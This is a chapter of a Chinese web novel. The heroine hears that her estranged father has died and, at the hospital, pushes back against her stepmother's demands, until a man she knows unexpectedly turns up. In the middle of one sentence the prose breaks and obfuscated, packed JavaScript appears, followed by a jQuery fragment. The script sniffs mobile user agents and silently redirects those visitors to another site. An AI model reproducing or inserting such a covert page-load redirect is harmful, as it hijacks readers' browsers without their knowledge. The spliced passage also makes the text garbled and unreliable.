第二天，罗芝直到晌午才回来。


    她还是穿着那件风衣，换了条黑色九分裤，妆淡得几乎没有，头发简单束起，整个人带着一种无所谓的淡然。


    这种淡然最让她母亲恼怒，也最让她紧张。


    罗芝推门而入，转头温柔地提醒：“小心点，别被夹了手哈。”


    母亲一怔，抬眼看去，罗芝身后竟然牵着黄月的女儿，小静。


    小静蹦蹦跳跳进了屋，手里还攥着一把水彩笔，罗芝替她脱了鞋，又催她去洗手，动作娴熟，全程不动声色，没空过来说话。


    母亲心里一紧，突然意识到不妙——罗芝在掌控局势。


    这个女儿，已经学会了主动制造对自己有利的局面，她已经要脱离自己的掌控了。


    “我带小静去上画画课了，她很喜欢。”在她心烦意乱之际，罗芝却走过来，平静地解释了一句，然后像没事人一样张罗起来。


    她利落地摆好餐盒，又熟练地拿出纸巾，分装酱料，动作麻利高效：“快来吃饭吧，吃完饭我可得赶飞机了。”


    “你这就要走？”母亲皱眉，然而还没来得及问，门铃响了。


    她去开门，却见黄月带着儿子站在门口，声音清脆：“阿姨好！来，小新，叫姥姥。”


    她本想冷脸，却在黄月明朗的声音和小新的簇拥下，动作慌张，同手同脚地招呼他们进门，家里突然喧闹起来，她根本来不及责备罗芝。


    小静要纸，小新要画笔，黄月帮着罗芝找碗筷，两个孩子围着她跑，她左支右绌，顾此失彼，家中杂音太多，她找不到机会跟罗芝对峙。


    罗芝当然是故意的。


    转眼，小新就闹腾起来，非要抢姐姐的画纸，小静不肯，他便从椅子上一跃而下，扑通趴在地上撒泼打滚，放声大哭，像个炸开的音响，把人的耳膜震得发麻。


    黄月斥责小新不懂事，罗芝没急着制止，只是静静地拿起桌边那盒酱料，俯身温声问：“小新，你是想蘸番茄酱还是烤肉酱呀？”


    她边问边把手伸到小新的面前。


    小新不领情，“哇”地一声哭更猛了，把她的手一把推开，继续声情并茂地捶地砸墙，满地打滚。


    黄月脸上顿时有点挂不住，低声对罗芝道歉：“姐，他就这脾气——”


    然而罗芝只是冲她笑了笑，下一秒，她起身走向垃圾桶，毫不犹豫地“啪”一声，把一整盒酱料全数丢了进去。


    “……姐？”黄月愣住了。


    “给你台阶你就得下啊，小新。”罗芝回头，神色平静，语气轻缓，却字字在点着什么，“你看现在怎么办？画也没抢到，吃的也没啦。”


    她微微一笑，低头看着怔忡的小新，说：“今天芝芝姨教你一个词——‘见好就收’，听明白了吗？”


    小新愣着，泪眼迷离，竟被她镇住，瞬间安静了下来。


    “哦对，你还不懂。”罗芝自顾自答，神情说不出的温柔：“没关系，再过几年你就明白了，生活会把你教明白的。”


    黄月一头雾水，总觉得罗芝今天有些反常，一双眼睛直愣愣的颇为瘆人，越看越有点毛骨悚然的意思……但看着闹腾的儿子终于闭了嘴，她顿时松了口气，默默冲罗芝比了个赞。


    母亲坐在餐桌另一端，脸色却十分难看。


    是她多想吗？还是罗芝吃了熊心豹子胆，竟然开始……指桑骂槐？


    她突然想起很多年前，应该是罗芝高三那年，有一回蔫不拉几地说肚子不舒服，能不能不去补课，当时她刚接完父亲的电话，心情很差，直接甩飞了筷子，劈头盖脸地骂她：“行了吧你，别装了，见好就收，该闭嘴的时候就闭嘴。”


    如今，她竟然一字不差，还了回来——她不是指桑骂槐，而是根本就在回敬自己。


    母亲的脸刷一下冷下来，指尖甚至在桌下轻微地颤了颤。


    罗芝却像完全没察觉似的，咬完最后一个包子，轻轻拍拍手：“时间差不多了，我得去机场了。”


    “我送你吧。”黄月起身。


    “不用。”罗芝一手把她按了回去：“你带两个孩子已经够辛苦了，别折腾，我行李都没几件，打车就好。”


    她走进房间拿出随身旅行箱，里面东西不多，但一应俱全：一套换洗衣物，一瓶洁面乳，一支气垫粉底。没有丝毫多余的物件，像极了一个四处出差、说走就走的职业女性。


    望着罗芝麻利地收好箱子就要走，母亲站在门边，喉咙动了动，刚要出口说什么，罗芝的电话响了。


    罗芝低头一看，是一串陌生号码。


    “喂？”


    “罗芝吗，我是王阿姨！”


    罗芝翻了个白眼，下意识就想吐槽，现在连诈骗都这么敷衍了么叫什么王阿姨李阿姨啊你但凡起个独特点的名儿让我能代入——


    她忽然停住了。


    王阿姨，爸爸重组家庭的新老婆。


    她心里“咯噔”一下，身体像被某根埋藏多年的针冷不丁扎了一下，疼意来得毫无预兆。


    “你找我干什么？”她的声音下意识带出一点抵触，冷而警觉。


    电话那头却急匆匆地，有点语无伦次：“你来一趟医院吧，你现在方便吗？哎呀，是这样的，你爸爸刚刚……他刚刚去世了。”


    -


    医院的天花板是统一的苍白色，长条灯管嵌入其中，发出像是被漂白后的阳光，那光是一种恒定的照明，一种无情的凝视，凝视着人间万千悲喜，它只是独自亮着。


    罗芝一路跑过来，鞋跟落在地砖上，发出急促的“咔哒”声，她气喘吁吁，却不敢停，跑过走廊两侧长长的候诊椅，跑过墙壁上旧旧的宣传画，跑过她父亲缺席的很多年的岁月。


    跑着跑着，她就从一个懵懂不安的少女，长到了现在这幅大人模样。


    王阿姨等在那里，一见到罗芝，就像老熟人一样猛地扑上来，动作亲密得令人猝不及防，脸上堆满了熟络与热情。


    “是车祸，你说他这是什么命啊！早晨他说要出门办事，结果在十字路口闯红灯，跟一辆大货撞了……”


    她靠得越来越近，拉着罗芝的手不放，亲热的样子仿佛两人已经认识多年，是村口天天搬着马扎一起嗑瓜子的闺蜜大妈。


    “伤得好严重嘞，肋骨戳穿了肺管子，送来的时候就昏迷了，结果还在抢救的中间又出现心梗！怎么什么乱子都叫我趟上了这是……关键是他情绪还不稳定，中间一烦躁，直接把呼吸管拔掉了……我们来不及按住他，就……”


    ——就无力回天了。


    这段话前言不搭后语，逻辑漏洞百出，心率乱跳的时候还有力气拔呼吸管吗，抢救不打麻药吗，都昏迷了又是如何“情绪烦躁不稳定”的？


    但罗芝几次张嘴，一个字都吐不出来。


    喉咙紧得像被人从里头捏住，连呼吸都费劲。


    王阿姨还在密密麻麻地咕哝：“ICU明明说上了呼吸机还可以抢救回来的，不知道他们怎么搞的，我就说医院肯定也没上心嘛！这医生一个个的，谁知道他们怎么想？哎！一定是嫌我们没塞红包所以不肯用心医治——这还有没有天理了，不行，我明儿就去投诉，后天就去上访，我不信讨不回公道！！”


    罗芝一使劲，终于把自己的胳膊从对方的手里抽了出来，她后退几步，背脊抵上冰冷的墙壁，身子发僵，像是被整个现实抽空。


    “把文件拿给我看……所有的文件和单据，我都要看。”


    她声音发紧，语调平静得近乎冷淡，那是一种疲惫到极点后产生的麻木，连回声在耳膜里都是钝钝的，模糊成一团絮语。


    她甚至听不明白自己都说了些什么。


    王阿姨赶紧递过来一个鼓囊囊的文件袋，表面蹭着一块不知名的油渍，皱巴巴的。


    “病危通知书是我签的，死亡确认单是我儿子签的……都在这里了，你看吧。”


    罗芝接过袋子，一页页翻。


    那些密密麻麻的病情记录，冰冷的诊断术语，冷静到无情的紧急治疗方案，还有那张只有几行字的病危通知书……每一份文件底下签的名字，都不是她。


    从头到尾，她不是第一联络人，不是那个第一时间被通知、被依赖、被请求决策的家属。


    她连在手术室前焦急等候的机会都没有，她连签一个病危通知书的机会都没有。


    死的到底是她的爸爸，还是一个与她无关的别人，又或者都是？


    她原以为，哪怕没有爱，血缘也该有个象征性的形式，可原来，她自始至终都是个外人。


    她自始至终都是个外人。


    罗芝低头看手里的死死捏紧的纸条，死亡确认单甚至不是一张完整的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488700|167756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    A4纸，只是小小一个条子，比上学时偷偷传的纸条还要窄一点。


    她忽然没来由地想到杨怀特——那个作风老派的中年男人，总是在公司打印一堆没人看的冗余资料，厚厚一沓，随便看两眼就扔掉。


    ……还是医院环保啊。


    她嘴角微微一抽，竟然笑了。


    那笑容极其瘆人，王阿姨看她的眼神像在看一个怪物。


    半小时后，所有手续办完，医院那边已经联系好了殡仪馆，王阿姨本想把父亲的遗体带回家，但房子是租的，她在电话里磨破嘴皮子，房东死活不松口，于是只能推往太平间暂存，等明天安排转运。


    父亲被放在一张冰冷的、不再有温度的移动病床上，身上盖着一层发灰的白布。几个工作人员过来一起推，于是四个轮子咕噜噜地滚动，压过地砖缝隙时发出细碎摩擦声，像什么东西在骨头里碾过去。


    罗芝站在原地，眼睁睁地看着那张床越推越远，缓缓地、坚定地、不可逆地向走廊尽头而去，像一艘锈迹斑斑的小船，驶入雾中的海浪，永远失去方向，再也不能回头。


    她没有哭，只是握着病历单的指节发白，像是用尽全身的力气在维持站立。


    死亡是不是终点，这段父女关系，是不是就，彻底画下了句点？


    王阿姨却凑上来，搓着手，开始说起客套话：“哎呀，罗芝啊，我真没想到你这么快就赶过来了，你说你多懂事啊孩子！你爸爸要是知道，肯定能安心闭眼了——”


    她说话时喜欢往前靠，声音大得像在菜市场讨价还价，热情过头就让人生出厌弃，偏偏还在自作聪明地表达着油腻的亲昵：“以后你随时回来啊！这里永远有你一个家，我和你弟弟——”


    “弟弟”这两个字精准地触到了罗芝的逆鳞，她她蓦地转头，大声打断：“我是独生女，我没有弟弟！”


    王阿姨脸一僵，笑容还残留在脸上。


    她是那种走在街道上随处能撞见的妇人，头发烫成蓬松的方便面，脸颊松垮，眉毛却画得又粗又高，玫红色摇粒绒外套起了球，裤脚卷了两圈，脚上是一双松掉后跟的棉拖。


    她的热情像塑料花，远看艳丽近看粗糙，带着一股刺鼻的酸旧味儿，实在不招人待见。


    “哎呀，可是咱们就是一家人嘛！我是你后妈，看你这么有出息，我也很骄傲啊……”


    她裹着亲情的壳子打算盘，算盘珠子劈里啪啦响，手段粗俗低劣，还妄想着罗芝不拆穿。


    “一家人就得互相帮衬不是？你可别不管我们啊，你爸爸生前还欠了债呢，你那么有出息，可得帮我打理打理啊。”


    “这和我无关。”罗芝声音陡然拔高，“债不是我欠的，我没义务替你们收场。”


    “但是你弟弟还在上学——”


    “我就俩表弟，一个刚领了国家奖学金，一个保送直博，”罗芝眼神凌厉，突然变得很激动，激动地几乎怒吼，“你算哪门子的葱也来沾亲？也不照照镜子看自己配吗？！”


    她从未说话如此尖锐难听，王阿姨脸上泛起涨红，一时有些下不来台，嘴里还试图圆场：“哎哟你这孩子，说这干嘛……咱们终归是一家人啊。”


    她悲愤交加，却茫然无措，她情绪如潮，怒火攻心，却又觉得天地轰然沉寂，剩下的只有怨恨和失落的空壳。


    她失去了父亲，还来不及消化这个噩耗，眼前的王阿姨却不停聒噪，像一只烦扰人心的癞蛤蟆。


    她胸腔急剧起伏，悲愤、屈辱、绝望交织在一起，像一根根钢针，密密麻麻地刺入她胸口。王阿姨絮絮叨叨的声音不停，她觉得大脑嗡嗡作响，全身血液翻涌，几乎要爆炸，就在即将失控之际，一个沉稳低哑的男声插了进来：“她不是你的家人，也没有义务为你们任何人买单。”


    罗芝心中掀起惊涛骇浪，整个人猛地一僵，几乎不敢相信自己的耳朵。


    她缓缓回头，是乔尔。


    真的是乔尔。


    他从走廊拐角走来，脚步稳健，深色衬衫熨贴利落，显得肩膀宽阔，身姿挺拔，然而神情风尘仆仆，眼下覆着一层淡淡的青黑，透着隐隐的疲惫。


    他不是去出差了吗，他怎么会出现在这里？？？


    罗芝仿佛失去了语言的能力，喉咙发干，嘴唇动了动，良久才挤出一点几不可闻的声音：“你怎么来了……？”